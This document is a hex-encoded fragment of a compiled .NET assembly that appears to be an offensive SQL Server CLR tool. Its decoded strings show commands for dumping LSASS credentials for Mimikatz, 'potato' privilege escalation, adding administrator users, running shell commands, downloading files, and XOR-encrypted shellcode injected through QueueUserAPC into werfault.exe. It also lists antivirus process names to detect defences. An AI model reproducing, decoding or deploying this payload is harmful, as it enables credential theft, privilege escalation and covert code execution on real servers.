696446726F6D446F6D61696E4E616D6500447347657444634E616D65004E657453746174697374696373476574004461746554696D65004765745374617274757054696D65004F70656E5072696E74657200436C6F73655072696E746572004473456E756D6572617465446F6D61696E547275737473004765744443005369645479706555736572005369645479706547726F75700053696454797065446F6D61696E0053696454797065416C696173005369645479706557656C6C4B6E6F776E47726F7570005369645479706544656C657465644163636F756E740053696454797065496E76616C69640053696454797065556E6B6E6F776E0053696454797065436F6D7075746572004D6178696D756D4C656E6774680062756666657200496E697469616C697A6500446973706F736500546F537472696E670053545950455F4449534B0053545950455F5052494E54510053545950455F4445564943450053545950455F4950430053545950455F48494444454E5F4449534B0053545950455F48494444454E5F5052494E540053545950455F48494444454E5F4445564943450053545950455F48494444454E5F495043007368693530335F6E65746E616D65007368693530335F74797065007368693530335F72656D61726B007368693530335F7065726D697373696F6E73007368693530335F6D61785F75736573007368693530335F63757272656E745F75736573007368693530335F70617468007368693530335F706173737764007368693530335F7365727665726E616D65007368693530335F7265736572766564007368693530335F73656375726974795F64657363726970746F7200736869315F6E65746E616D6500736869315F7479706500736869315F72656D61726B00526F6F744469726563746F7279004F626A6563744E616D6500536563757269747944657363726970746F720053656375726974795175616C6974794F6653657276696365004E616D6500536964005265636F7264436F756E7400456E747269657300446E734E616D65004E657462696F734E616D650042756666657200466F726573745472757374547970650054696D6500546F704C6576656C4E616D6500446F6D61696E496E666F004461746100446F6D61696E730055736500446F6D61696E496E6465780052656C6174697665496400446F6D61696E436F6E74726F6C6C65724E616D6500446F6D61696E436F6E74726F6C6C65724164647265737300446F6D61696E436F6E74726F6C6C6572416464726573735479706500446F6D61696E4775696400446F6D61696E4E616D6500446E73466F726573744E616D65004463536974654E616D6500436C69656E74536974654E616D650044535F464F5243455F5245444953434F564552590044535F4449524543544F52595F534552564943455F52455155495245440044535F4449524543544F52595F534552564943455F5052454645525245440044535F47435F5345525645525F52455155495245440044535F5044435F52455155495245440044535F4241434B47524F554E445F4F4E4C590044535F49505F52455155495245440044535F4B44435F52455155495245440044535F54494D45534552565F52455155495245440044535F5752495441424C455F52455155495245440044535F474F4F445F54494D45534552565F5052454645525245440044535F41564F49445F53454C460044535F4F4E4C595F4C4441505F4E45454445440044535F49535F464C41545F4E414D450044535F49535F444E535F4E414D450044535F52455455524E5F444E535F4E414D450044535F52455455524E5F464C41545F4E414D450044535F5745425F534552564943455F52455155495245440053746174697374696373537461727454696D65004279746573526563656976656400536D6273526563656976656400506167696E67526561644279746573526571756573746564004E6F6E506167696E67526561644279746573526571756573746564004361636865526561644279746573526571756573746564004E6574776F726B5265616442797465735265717565737465640042797465735472616E736D697474656400536D62735472616E736D697474656400506167696E6757726974654279746573526571756573746564004E6F6E506167696E675772697465427974657352657175657374656400436163686557726974654279746573526571756573746564004E6574776F726B5772697465427974657352657175657374656400496E697469616C6C794661696C65644F7065726174696F6E73004661696C6564436F6D706C6574696F6E4F7065726174696F6E7300526561644F7065726174696F6E730052616E646F6D526561644F7065726174696F6E730052656164536D6273004C6172676552656164536D627300536D616C6C52656164536D62730057726974654F7065726174696F6E730052616E646F6D57726974654F7065726174696F6E73005772697465536D6273004C617267655772697465536D627300536D616C6C5772697465536D627300526177526561647344656E6965640052617757726974657344656E696564004E6574776F726B4572726F72730053657373696F6E73004661696C656453657373696F6E73005265636F6E6E6563747300436F7265436F6E6E65637473004C616E6D616E3230436F6E6E65637473004C616E6D616E3231436F6E6E65637473004C616E6D616E4E74436F6E6E6563747300536572766572446973636F6E6E656374730048756E6753657373696F6E7300557365436F756E74004661696C6564557365436F756E740043757272656E74436F6D6D616E64730044535F444F4D41494E5F494E5F464F524553540044535F444F4D41494E5F4449524543545F4F5554424F554E440044535F444F4D41494E5F545245455F524F4F540044535F444F4D41494E5F5052494D4152590044535F444F4D41494E5F4E41544956455F4D4F44450044535F444F4D41494E5F4449524543545F494E424F554E4400414C4C004E657462696F73446F6D61696E4E616D6500446E73446F6D61696E4E616D6500506172656E74496E646578005472757374547970650054727573744174747269627574657300446F6D61696E53696400536964547970654C6162656C005472616E736C617465644E616D650062696E64696E6768616E646C650042696E6444656C656761746500556E62696E6444656C6567617465006765745F5573654E756C6C53657373696F6E007365745F5573654E756C6C53657373696F6E00556E62696E64003C5573654E756C6C53657373696F6E3E6B5F5F4261636B696E674669656C64005573654E756C6C53657373696F6E00494E544552464143455F56455253494F4E0053594E5441585F56455253494F4E004C7361724F70656E506F6C696379004C736172436C6F7365004C7361725175657279496E666F726D6174696F6E506F6C69637900556E6D61727368616C5F4C534150525F504F4C4943595F4143434F554E545F444F4D5F494E464F004C7361724C6F6F6B757053696473004D61727368616C5F4C534150525F5349445F454E554D5F425546464552004D61727368616C5F4C7361724C6F6F6B7570536964735F4F757470757400536964496E666F004D6178456E7472696573004E616D65730052706342696E64696E6753657441757468496E666F45780052706342696E64696E6753657441757468496E666F00476574536964537562417574686F7269747900476574536964537562417574686F72697479436F756E74005573657200557365724C656E67746800446F6D61696E00446F6D61696E4C656E6774680050617373776F72640050617373776F72644C656E677468004361706162696C6974696573004964656E74697479547261636B696E6700496D706572736F6E6174696F6E5479706500447372456E756D6572617465446F6D61696E54727573747300446F6D61696E4172726179546F54727573746564446F6D61696E4C69737400446F6D61696E436F756E740053616D72004C7361006765745F456E756D657261746543616C6C6261636B007365745F456E756D657261746543616C6C6261636B006765745F536572766572007365745F536572766572006765745F52504354696D654F7574007365745F52504354696D654F757400456E756D65726174654163636F756E7400456E756D65726174654163636F756E745573696E674C736100456E756D65726174654163636F756E745573696E6753616D72004275696C6453494446726F6D446F6D61696E536964416E64526964003C456E756D657261746543616C6C6261636B3E6B5F5F4261636B696E674669656C64003C5365727665723E6B5F5F4261636B696E674669656C64003C52504354696D654F75743E6B5F5F4261636B696E674669656C6400456E756D657261746543616C6C6261636B00536572766572004E544163636F756E740053616D72436F6E6E6563740053616D72436C6F736548616E646C650053616D72456E756D6572617465446F6D61696E73496E53616D53657276657200556E6D61727368616C5F53414D525F454E554D524154494F4E0053616D724C6F6F6B7570446F6D61696E496E53616D5365727665720053616D724F70656E446F6D61696E0053616D72456E756D65726174655573657273496E446F6D61696E00456E747269657352656164005270634F70656E5072696E74657200527063436C6F73655072696E7465720052706352656D6F746546696E6446697273745072696E7465724368616E67654E6F74696669636174696F6E457800636242756600704465764D6F646500547970650052657365727665643000436F756E7400704669656C647300705479706573007365727665726E616D65004D61727368616C417341747472696275746500556E6D616E6167656454797065006C6576656C00627566007061726D5F6572720067726F75706E616D6500746F74616C656E7472696573007365727665724E616D6500757365724E616D650070617373776F726400737472436F6D6D656E740067726F75704E616D650055524C0066696C656E616D650075726C006C6F63616C706174680070726F636573734964006846696C650064756D705479706500657870506172616D007573657253747265616D506172616D0063616C6C6261636B506172616D00696E46696C65006F757446696C650064756D7044697200636D6400647744657369726564416363657373006C704164647265737300647753697A6500666C416C6C6F636174696F6E5479706500666C50726F74656374006C704261736541646472657373006C70427566666572006E53697A65006C704E756D6265724F6642797465735772697474656E0070666E4150430064774461746100684F626A656374006C704170706C69636174696F6E4E616D65006C70436F6D6D616E644C696E65006C7050726F6341747472696273006C70546872656164417474726962730062496E686572697448616E646C6573006477437265617465466C616773006C70456E7669726F6E6D656E74006C7043757272656E74446972006C705374617274696E666F00496E417474726962757465006C7050726F63496E666F726D6174696F6E004F75744174747269627574650062696E6172795061746800636970686572006B657900636F64650066696C650070726F630061726700617267756D656E74730070726F6772616D0070726F6772616D41726773006F006E4E756D6265724F664279746573546F52656164006C704E756D6265724F66427974657352656164006C704F7665726C6170706564006C7046696C654E616D650061636365737300736861726500736100636400666C6167007A65726F006E616D6500693100693200693300693400693500693600706970650068616E646C6500546F6B656E48616E646C650044697361626C65416C6C50726976696C65676573004E65775374617465004275666665726C656E6774680050726576696F757353746174650052657475726E4C656E677468006852656164506970650068577269746550697065006C705069706541747472696275746573006C7053797374656D4E616D65006C704E616D65006C704C7569640068546F6B656E006C7050726F6365737341747472696275746573006C70546872656164417474726962757465730064774372656174696F6E466C616773006C7043757272656E744469726563746F7279006C7053746172747570496E666F006C7050726F63657373496E666F726D6174696F6E0070726F6365737348616E646C650062696E64696E67537472696E67006C7042696E64696E6700704D49444C5F535455425F444553430061726773006C70537472696E67004F626A557569640050726F74536571004E6574776F726B4164647200456E64706F696E74004F7074696F6E73006C7042696E64696E67537472696E670042696E64696E67004F7074696F6E004F7074696F6E56616C75650062696E64696E670068436F6E746578740046696C654E616D6500696E746572666163654944004D616A6F72566572736F6E0073697A65006D656D6F727900496E74507472736572766572006F666673657400506172616D4172726179417474726962757465006F626A656374006D6574686F640063616C6C6261636B00726573756C7400496E7465726661636556657273696F6E4D616A6F7200496E7465726661636556657273696F6E4D696E6F72006969640070466F726D6174547970657350747200527063496E74657266616365496E666F726D6174696F6E5074720070666E416C6C6F636174655074720070666E4672656550747200696E66696C654E616D65006F757466696C654E616D650072656D6F746546696C650064697200726573004172726179310041727261793200737472696E67417272617900737472696E67546F436865636B006C73646972006E616D654F72416464726573730070726F6700636F6D6D616E64007048616E646C6500706970654E616D65006F70656E4D6F646500706970654D6F6465006D6178496E7374616E636573006F757442756666657253697A6500696E42756666657253697A650064656661756C7454696D656F757400736563757269747941747472696275746573006F7665726C617070656400684E616D656450697065006C705374617465006C70437572496E7374616E636573006C704D6178436F6C6C656374696F6E436F756E74006C70436F6C6C6563744461746154696D656F7574006C70557365724E616D65006E4D6178557365724E616D6553697A650054687265616448616E646C650044657369726564416363657373004F70656E417353656C6600684578697374696E67546F6B656E006C70546F6B656E4174747269627574657300496D706572736F6E6174696F6E4C6576656C00546F6B656E547970650070684E6577546F6B656E0062496E68657269740064774D61736B0064774C6F676F6E466C616773006C70737A557365726E616D65006C70737A446F6D61696E006C70737A50617373776F72640064774C6F676F6E547970650064774C6F676F6E50726F7669646572007068546F6B656E0063726564656E7469616C0072656D6F7465736572766572006363684E616D65005265666572656E636564446F6D61696E4E616D65006363685265666572656E636564446F6D61696E4E616D65007065557365006C704163636F756E744E616D6500636253696400736964737472696E6700736572766572006163636F756E744E616D65007265666572656E636564446F6D61696E006853657276657248616E646C65006465736972656441636365737300747275737465640053616D48616E646C6500446F6D61696E496400446F6D61696E48616E646C6500416C696173496400416C69617348616E646C65004D656D6265727300436F756E7452657475726E656400737461747573005365727665724E616D650062756650747200707265666D61786C656E00656E74726965737265616400726573756D655F68616E646C650053797374656D4E616D65004F626A6563744174747269627574657300506F6C69637948616E646C65004F626A65637448616E646C6500456E756D65726174696F6E436F6E746578740050726566657265644D6178696D756D4C656E67746800704275666665720054727573746564446F6D61696E4E616D6500466F726573745472757374496E666F00707472456E756D42756600707472446F6D61696E4C697374007074724E616D654C697374005265666572656E636564446F6D61696E73005369647300646F6D61696E546F5265736F6C766500436F6D70757465724E616D6500536974654E616D650070444F4D41494E5F434F4E54524F4C4C45525F494E464F0073657276696365006F7074696F6E730062756670747200705072696E7465724E616D650070685072696E746572007044656661756C7400646F6D61696E004144575300666F7263655265646973636F7665727900730073686172656E616D65007368617265747970650072656D61726B0076616C7565006842696E64696E67006147656E6572696342696E64696E67526F7574696E6550616972735074720053657276657248616E646C6500496E666F726D6174696F6E436C61737300506F6C696379496E666F726D6174696F6E00496E74507472506F6C696379496E666F726D6174696F6E00536964456E756D427566666572004C6F6F6B7570526573756C74004C6F6F6B75704C6576656C004D6170706564436F756E740048616E646C65546F4672656500496E745074725265666572656E636564446F6D61696E7300496E745074725472616E736C617465644E616D65730048616E646C6500696E74707472536572766572006F757470757400696E7470747253797374656D4E616D65006F626A6563744174747269627574657300656E756D42756666657200496E74707472427566666572004E616D65537472696E670073696400557365724163636F756E74436F6E74726F6C00696E745074723100696E74507472320070446174617479706500704465764D6F6465436F6E7461696E657200416363657373526571756972656400685072696E74657200666477466C616773006664774F7074696F6E730070737A4C6F63616C4D616368696E650064775072696E7465724C6F63616C00696E7450747233005365727665725072696E634E616D6500417574686E4C6576656C00417574686E53766300417574684964656E7469747900417574687A537663005365637572697479514F5300706F696E74657200737562417574686F72697479496E64657800707369640057696C6C5573654E756C6C53657373696F6E00646F6D61696E730074727573746564446F6D61696E417272617900656E756D657261746543616C6C6261636B004D6178696D756D4E756D62657200526964006163636F756E740053797374656D2E446961676E6F73746963730044656275676761626C6541747472696275746500446562756767696E674D6F6465730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C69747941747472696275746500446C6C496D706F7274417474726962757465004E657461706933322E646C6C0053797374656D2E44617461004D6963726F736F66742E53716C5365727665722E5365727665720053716C436F6E746578740053716C50697065006765745F506970650053656E64005374727563744C61796F7574417474726962757465004C61796F75744B696E6400576562526571756573740043726561746500487474705765625265717565737400576562526573706F6E736500476574526573706F6E73650048747470576562526573706F6E73650053747265616D00476574526573706F6E736553747265616D0046696C6553747265616D0046696C654D6F64650042797465005265616400577269746500436C6F73650041626F727400537472696E6700436F6E63617400457863657074696F6E0064626768656C702E646C6C0047657443757272656E740057696E646F77735072696E636970616C0057696E646F77734275696C74496E526F6C65004973496E526F6C650046696C650045786973747300466F726D61740044656C6574650052656164416C6C42797465730053797374656D2E494F2E436F6D7072657373696F6E00475A697053747265616D00436F6D7072657373696F6E4D6F6465006765745F4D65737361676500496E74507472005A65726F0050726F636573730047657450726F63657373657342794E616D650047657450726F6365737342794964006765745F50726F636573734E616D65006F705F457175616C697479006765745F4964006765745F48616E646C6500496E7433320055496E7433320046696C654163636573730046696C655368617265005361666546696C6548616E646C65006765745F5361666546696C6548616E646C6500456E7669726F6E6D656E7400476574456E7669726F6E6D656E745661726961626C65004D6963726F736F66742E57696E33320052656769737472790052656769737472794B6579004C6F63616C4D616368696E65004F70656E5375624B65790047657456616C756500426F6F6C65616E004469726563746F72790053716C50726F63656475726541747472696275746500436F6E7461696E7300436861720053706C6974005265706C6163650053797374656D2E546578742E526567756C617245787072657373696F6E73005265676578004B65726E656C3332006B65726E656C33322E646C6C004B65726E656C33322E646C6C006F705F4578706C6963697400436F6E766572740046726F6D426173653634537472696E6700456E636F64696E67006765745F41534349490047657442797465730052656164416C6C546578740044696374696F6E617279603200456E756D657261746F7200476574456E756D657261746F72006765745F43757272656E740052656765784F7074696F6E7300416464004D6F76654E6578740047657450726F6365737365730054727947657456616C756500474300436F6C6C6563740049456E756D657261626C6560310041646452616E6765004372656174655375624B657900526567697374727956616C75654B696E640053657456616C75650050726F636573735374617274496E666F006765745F5374617274496E666F007365745F46696C654E616D65007365745F5573655368656C6C45786563757465007365745F52656469726563745374616E64617264496E707574007365745F52656469726563745374616E646172644F7574707574007365745F52656469726563745374616E646172644572726F72007365745F4372656174654E6F57696E646F770053746172740053747265616D577269746572006765745F5374616E64617264496E70757400546578745772697465720057726974654C696E650057616974466F72457869740053797374656D2E436F6D706F6E656E744D6F64656C00436F6D706F6E656E74003C3E635F5F446973706C6179436C61737331007374644F7574707574004461746152656365697665644576656E7441726773003C52756E436F6D6D616E643E625F5F300073656E646572006765745F4461746100417070656E644C696E650049734E756C6C4F72456D707479007365745F417267756D656E74730050726F6365737357696E646F775374796C65007365745F57696E646F775374796C65004461746152656365697665644576656E7448616E646C6572006164645F4F757470757444617461526563656976656400426567696E4F7574707574526561644C696E650053747265616D526561646572006765745F5374616E646172644572726F7200546578745265616465720052656164546F456E64006765745F45786974436F6465006765745F4C656E67746800436F6D70696C657247656E657261746564417474726962757465006765745F4E616D65006765745F546F6B656E004D61727368616C0053697A654F66004765744C61737457696E33324572726F72004E6577477569640057696E3332457863657074696F6E004D616E75616C52657365744576656E7400506172616D65746572697A6564546872656164537461727400546872656164007365745F49734261636B67726F756E6400576169744F6E6500417272617900436F7079006765745F44656661756C7400476574537472696E6700457175616C73004576656E745761697448616E646C65005365740061647661706933322E646C6C006164766170693332007365745F536166655761697448616E646C65005270637274342E646C6C0052706342696E64696E6746726F6D537472696E6742696E64696E6757004E6472436C69656E7443616C6C3200527063537472696E6742696E64696E67436F6D706F736557006765745F53697A6500537472696E67546F48476C6F62616C556E6900474348616E646C655479706500416C6C6F6300416464724F6650696E6E65644F626A6563740052656164496E74507472004672656500476574457863657074696F6E436F646500436F6E736F6C65006F705F496E657175616C697479004672656548476C6F62616C00546F496E74363400534548457863657074696F6E0044656C65676174650047657446756E6374696F6E506F696E746572466F7244656C656761746500416C6C6F6348476C6F62616C00507472546F537472696E67556E6900556E73616665416464724F6650696E6E65644172726179456C656D656E74002E6363746F72003C50726976617465496D706C656D656E746174696F6E44657461696C733E7B34393845423442312D443545462D344539332D394232462D3733393037324133334646437D005F5F5374617469634172726179496E69745479706553697A653D35360024246D6574686F643078363030303130342D310052756E74696D6548656C706572730052756E74696D654669656C6448616E646C6500496E697469616C697A654172726179005F5F5374617469634172726179496E69745479706553697A653D35380024246D6574686F643078363030303130342D32005F5F5374617469634172726179496E69745479706553697A653D31380024246D6574686F643078363030303130342D330024246D6574686F643078363030303130342D340052756E74696D655479706548616E646C65004765745479706546726F6D48616E646C65005772697465427974650052656164427974650046696C65496E666F00506174680047657446696C654E616D650047657446696C65730046696C6553797374656D496E666F006765745F457869737473004765744469726563746F726965730046696C6541747472696275746573007365745F417474726962757465730047657446756C6C50617468005365744174747269627574657300556E617574686F72697A6564416363657373457863657074696F6E00494F457863657074696F6E006765745F43757272656E744469726563746F72790053657443757272656E744469726563746F727900537562737472696E670046696C654E6F74466F756E64457863657074696F6E0053797374656D2E5365637572697479005365637572697479457863657074696F6E00546F41727261790047657443757272656E744469726563746F727900536F727400496E7436340053797374656D2E53656375726974792E416363657373436F6E74726F6C0046696C65536563757269747900476574416363657373436F6E74726F6C004F626A6563745365637572697479004964656E746974795265666572656E6365004765744F776E6572004765744C617374577269746554696D65004469726563746F72794E6F74466F756E64457863657074696F6E0053797374656D2E4E65742E4E6574776F726B496E666F726D6174696F6E0050696E670050696E675265706C79004950537461747573006765745F5374617475730050696E67457863657074696F6E004950476C6F62616C50726F70657274696573004765744950476C6F62616C50726F70657274696573004950456E64506F696E74004765744163746976655463704C697374656E65727300495041646472657373006765745F41646472657373006765745F506F727400546370436F6E6E656374696F6E496E666F726D6174696F6E00476574416374697665546370436F6E6E656374696F6E73006765745F4C6F63616C456E64506F696E74006765745F52656D6F7465456E64506F696E74003C3E635F5F446973706C6179436C61737332007069706548616E646C65003C426164506F7461746F506F72633E625F5F30006765745F4D616368696E654E616D65005468726561645374617274004A6F696E006765745F4361706163697479006765745F557365724E616D65003C3E635F5F446973706C6179436C61737336003C426164506F7461746F434D443E625F5F34006765745F53797374656D4469726563746F7279005365637572697479437269746963616C4174747269627574650053797374656D2E52756E74696D652E436F6E73747261696E6564457865637574696F6E0052656C696162696C697479436F6E747261637441747472696275746500436F6E73697374656E6379004365720075736572656E762E646C6C006765745F446F6D61696E005472616365006765745F50617373776F726400456E7375726543617061636974790053797374656D2E53656375726974792E5065726D697373696F6E7300456E7669726F6E6D656E745065726D697373696F6E417474726962757465005365637572697479416374696F6E006765745F537461636B5472616365006765745F42696E6172794C656E6774680047657442696E617279466F726D0073616D6C69622E646C6C004E657461706933320053656375726974795065726D697373696F6E41747472696275746500507472546F537472756374757265004D696E56616C75650046726F6D46696C6554696D650077696E73706F6F6C2E647276004F70656E5072696E7465725700456D707479004669656C644F666673657441747472696275746500466C616773417474726962757465004465627567676572446973706C61794174747269627574650052656164496E743332005F5F5374617469634172726179496E69745479706553697A653D3536350024246D6574686F643078363030303130632D31005F5F5374617469634172726179496E69745479706553697A653D3539370024246D6574686F643078363030303130632D32005F5F5374617469634172726179496E69745479706553697A653D3932350024246D6574686F643078363030303130632D33005F5F5374617469634172726179496E69745479706553697A653D3739330024246D6574686F643078363030303130632D340052706342696E64696E6753657441757468496E666F4578570052706342696E64696E6753657441757468496E666F57005F5F5374617469634172726179496E69745479706553697A653D35350024246D6574686F643078363030303130642D31005F5F5374617469634172726179496E69745479706553697A653D35370024246D6574686F643078363030303130642D32005F5F5374617469634172726179496E69745479706553697A653D3139310024246D6574686F643078363030303130642D33005F5F5374617469634172726179496E69745479706553697A653D3134310024246D6574686F643078363030303130642D34004D617842696E6172794C656E677468005772697465496E743332005F5F5374617469634172726179496E69745479706553697A653D3537330024246D6574686F643078363030303130652D31005F5F5374617469634172726179496E69745479706553697A653D3630310024246D6574686F643078363030303130652D32005F5F5374617469634172726179496E69745479706553697A653D3234330024246D6574686F643078363030303130652D33005F5F5374617469634172726179496E69745479706553697A653D3139390024246D6574686F643078363030303130652D34005F5F5374617469634172726179496E69745479706553697A653D323235310024246D6574686F643078363030303130662D31005F5F5374617469634172726179496E69745479706553697A653D323338330024246D6574686F643078363030303130662D32005F5F5374617469634172726179496E69745479706553697A653D3135390024246D6574686F643078363030303130662D33005F5F5374617469634172726179496E69745479706553697A653D3133350024246D6574686F643078363030303130662D3400000000002B5B0058005D0020004500720072006F007200200041006400640069006E00670020005500730065007200002F5B002A005D00200041006400640069006E0067002000550073006500720020007300750063006300650073007300003B5B0058005D0020004500720072006F007200200041006400640069006E0067002000470072006F007500700020004D0065006D00620065007200003F5B002A005D00200041006400640069006E0067002000470072006F007500700020004D0065006D0062006500720020007300750063006300650073007300001D410064006D0069006E006900730074007200610074006F0072007300001D5B0058005D0020004500520052004F00520020004C006F0067003A0000295B002A005D00200044006F0077006E006C006F00610064002000730075006300630065007300730000235B0058005D00200044006F0077006E006C006F006100640020006600610069006C00005D5B0058005D0020004F00750074007000750074002000660069006C006500200027007B0030007D002700200061006C007200650061006400790020006500780069007300740073002C002000720065006D006F00760069006E00670001535B0058005D00200045007800630065007000740069006F006E0020007700680069006C006500200063006F006D007000720065007300730069006E0067002000660069006C0065003A0020007B0030007D00000B6C00730061007300730000270A005B0058005D0045007800630065007000740069006F006E003A0020007B0030007D000A0000610A005B0058005D0020004E006F007400200069006E0020006800690067006800200069006E0074006500670072006900740079002C00200075006E00610062006C006500200074006F0020004D0069006E006900440075006D00700021000A0000590A005B0058005D0020004500720072006F0072002000670065007400740069006E0067002000680061006E0064006C006500200074006F0020007B0030007D00200028007B0031007D0029003A0020007B0032007D000A0000217B0030007D005C00640065006200750067007B0031007D002E006F007500740000217B0030007D005C00640065006200750067007B0031007D002E00620069006E00003B0A005B002A005D002000440075006D00700069006E00670020007B0030007D00200028007B0031007D002900200074006F0020007B0032007D0000295B002B005D002000440075006D00700020007300750063006300650073007300660075006C002100004B0A005B002A005D00200043006F006D007000720065007300730069006E00670020007B0030007D00200074006F0020007B0031007D00200067007A00690070002000660069006C00650000215B002A005D002000440065006C006500740069006E00670020007B0030007D000080870A005B002B005D002000440075006D00700069006E006700200063006F006D0070006C0065007400650064002E002000520065006E0061006D0065002000660069006C006500200074006F0020002200640065006200750067007B0030007D002E0067007A002200200074006F0020006400650063006F006D00700072006500730073002E00002D500052004F0043004500530053004F0052005F004100520043004800490054004500430054005500520045000001005953006F006600740077006100720065005C004D006900630072006F0073006F00660074005C00570069006E0064006F007700730020004E0054005C00430075007200720065006E007400560065007200730069006F006E0000077B0030007D000017500072006F0064007500630074004E0061006D00650000370A005B002A005D0020004F007000650072006100740069006E0067002000530079007300740065006D0020003A0020007B0030007D0000355B002A005D002000410072006300680069007400650063007400750072006500200020002000200020003A0020007B0030007D000080B75B002A005D00200055007300650020002200730065006B00750072006C00730061003A003A006D0069006E006900640075006D0070002000640065006200750067002E006F0075007400220020002200730065006B00750072006C00730061003A003A006C006F0067006F006E00500061007300730077006F007200640073002000660075006C006C00220020006F006E0020007400680065002000730061006D00650020004F0053002F0061007200630068000A0000295B0058005D002000440075006D00700020006600610069006C00650064003A0020007B0030007D0000530A005B0058005D002000440075006D00700020006400690072006500630074006F0072007900200022007B0030007D002200200064006F00650073006E002700740020006500780069007300740021000A00011B63006C0072005F00640075006D0070006C0073006100730073000015530079007300740065006D0052006F006F00740000137B0030007D005C00540065006D0070005C00000F63006C0072005F00700077006400000D63006C0072005F006C007300000D63006C0072005F0063006400001163006C0072005F00700069006E006700000D63006C0072005F0072006D00000F63006C0072005F00630061007400000D63006C0072005F0070007300001763006C0072005F006E00650074007300740061007400001363006C0072005F0067006500740061007600000F63006C0072005F00720064007000001763006C0072005F006100640064007500730065007200000F63006C0072005F0063006D006400001163006C0072005F0063006D0064002000001163006C0072005F006500780065006300001363006C0072005F006500780065006300200000052D00700001052D00610001072D0070002000011B63006C0072005F0065006600730070006F007400610074006F00001D63006C0072005F0065006600730070006F007400610074006F002000001B63006C0072005F0062006100640070006F007400610074006F00001D63006C0072005F0062006100640070006F007400610074006F002000001963006C0072005F0064006F0077006E006C006F0061006400001763006C0072005F0063006F006D00620069006E006500001963006C0072005F00730063006C006F006100640065007200001B63006C0072005F00730063006C006F0061006400650072003100001B63006C0072005F00730063006C006F0061006400650072003200001B43006F006D006D0061006E00640020006500720072006F00720000335B002B005D00200045006E00630072007900700074005300680065006C006C0063006F00640065003A0020007B0030007D00001F5B002B005D00200058006F0072004B00650079003A0020007B0030007D00004143003A002F00570069006E0064006F00770073002F00530079007300740065006D00330032002F007700650072006600610075006C0074002E00650078006500003B5B002B005D00200053007400610072007400500072006F00630065007300730020007700650072006600610075006C0074002E0065007800650000315B002B005D0020004F00700065006E00500072006F00630065007300730020005000690064003A0020007B0030007D0000355B002B005D0020005600690072007400750061006C0041006C006C006F0063004500780020005300750063006300650073007300006B5B002B005D002000510075006500750065005500730065007200410050004300200049006E006A0065006300740020007300680065006C006C0063006F0064006500200074006F0020005000490044003A0020007B0030007D0020005300750063006300650073007300003B5B002B005D00200068004F00700065006E00500072006F00630065007300730043006C006F00730065002000530075006300630065007300730000670A000A005B002A005D002000510075006500750065005500730065007200410050004300200049006E006A0065006300740020007300680065006C006C0063006F0064006500200053007500630063006500730073002C00200065006E006A006F0079002100003B5B002B005D00200045006E00630072007900700074005300680065006C006C0063006F006400650050006100740068003A0020007B0030007D00002D5B002B005D0020005300680065006C006C0063006F006400650050006100740068003A0020007B0030007D0000033A00001F5B002A005D002000460069006E00640069006E0067002E002E002E002E0000412000200020005B003E005D002000700072006F004E0061006D0065003A0020007B0030007D0020006100700070004E0061006D0065003A0020007B0031007D0000555B0021005D0020004E006F00200061006E00740069002D0076006900720075007300200073006F0066007400770061007200650020006F006E002000740068006900730020006D0061006300680069006E00650001175B002A005D002000460069006E006900730068002100002933003600300074007200610079003A00330036003000895B68516B53EB582D009E5BF665DD4FA462012733003600300073006100660065003A00330036003000895B68516B53EB582D003B4E0B7A8F5E01355A006800750044006F006E006700460061006E006700590075003A00330036003000895B68516B53EB582D003B4EA8523296A15F0117330036003000730064003A003300360030004067D26B012761003200670075006100720064003A0061002D0073007100750061007200650064004067D26B0127610064002D00770061007400630068003A004C0061007600610073006F00660074004067D26B012D63006C00650061006E006500720038003A00540068006500200043006C00650061006E00650072004067D26B0121760062006100330032006C006400650072003A0076006200330032004067D26B012D4D006F006E0067006F006F00730061004700550049003A004D006F006E0067006F006F00730061004067D26B014943006F00720061006E007400690043006F006E00740072006F006C00430065006E00740065007200330032003A0043006F00720061006E007400690032003000310032004067D26B012F46002D00500052004F0054003A0046002D00500072006F007400200041006E007400690056006900720075007300012343004D0043005400720061007900490063006F006E003A0043004D0043004067D26B01214B0037005400530065006300750072006900740079003A004B0037004067D26B012755006E005400680072006500610074003A0055006E005400680072006500610074004067D26B015143004B0053006F00660074005300680069006500640041006E00740069007600690072007500730034003A0053006800690065006C006400200041006E0074006900760069007200750073004067D26B013B410056005700610074006300680053006500720076006900630065003A005600490052005500530066006900670068007400650072004067D26B013541007200630061005400610073006B00730053006500720076006900630065003A0041007200630061005600690072004067D26B01216900700074007200610079003A0049006D006D0075006E00650074004067D26B01295000530061006600650053007900730054007200610079003A00500053006100660065004067D26B01276E0073007000750070007300760063003A006E00500072006F0074006500630074004067D26B015D53007000790077006100720065005400650072006D0069006E00610074006F00720053006800690065006C0064003A0053007000790077006100720065005400650072006D0069006E00610074006F007200CD53F4950D8C6F8FF64E012542004B006100760053006500720076006900630065003A0042006B00610076004067D26B01314D0073004D00700045006E0067003A00570069006E0064006F0077007300200044006500660065006E00640065007200001B5300420041004D005300760063003A00560049005000520045000023630063005300760063004800730074003A004E006F00720074006F006E004067D26B011766002D007300650063007500720065003A00B0519B5C011B6100760070003A004B006100730070006500720073006B00790000194B0076004D006F006E00580050003A005F6C116C4067D26B01195200610076004D006F006E0044003A005E741F664067D26B011F4D00630073006800690065006C0064003A004D00630041006600650065000019540062006D006F006E003A004D0063004100660065006500002F4600720061006D00650077006F0072006B0073006500720076006900630065003A004D0063004100660065006500001F65006700750069003A00450053004500540020004E004F00440033003200001F65006B0072006E003A00450053004500540020004E004F0044003300320000296500670075006900500072006F00780079003A00450053004500540020004E004F0044003300320000196B007800650074007200610079003A00D191715CD26B3897011B6B006E007300640074007200610079003A00EF535B724067D26B011954004D0042004D005300520056003A008B8DBF524067D26B012761007600630065006E007400650072003A004100760069007200610028000F5CA27E1E4F2900012561007600670075006100720064003A004100760069007200610028000F5CA27E1E4F290001216100760067006E0074003A004100760069007200610028000F5CA27E1E4F29000121730063006800650064003A004100760069007200610028000F5CA27E1E4F2900012361007300680044006900730070003A0041007600610073007400517FDC7E895B685101197200740076007300630061006E003A00FA8B7F984067D26B0129630063006100700070003A00530079006D0061006E007400650063004E006F00720074006F006E0000274E00500046004D006E0074006F0072003A004E006F00720074006F006E004067D26B6F8FF64E011B630063005300650074004D00670072003A005B8DE895C1944B510127630063005200650067005600660079003A004E006F00720074006F006E004067D26B6F8FF64E01156B0073006100660065003A00D191715C6B53EB58011D51005100500043005200540050003A005100510035751181A17BB65B011D610076006700770064007300760063003A004100560047004067D26B012B5100550048004C0050005300560043003A0051005500490043004B0020004800450041004C004067D26B011B6D0073007300650063006500730073003A00AE5F6F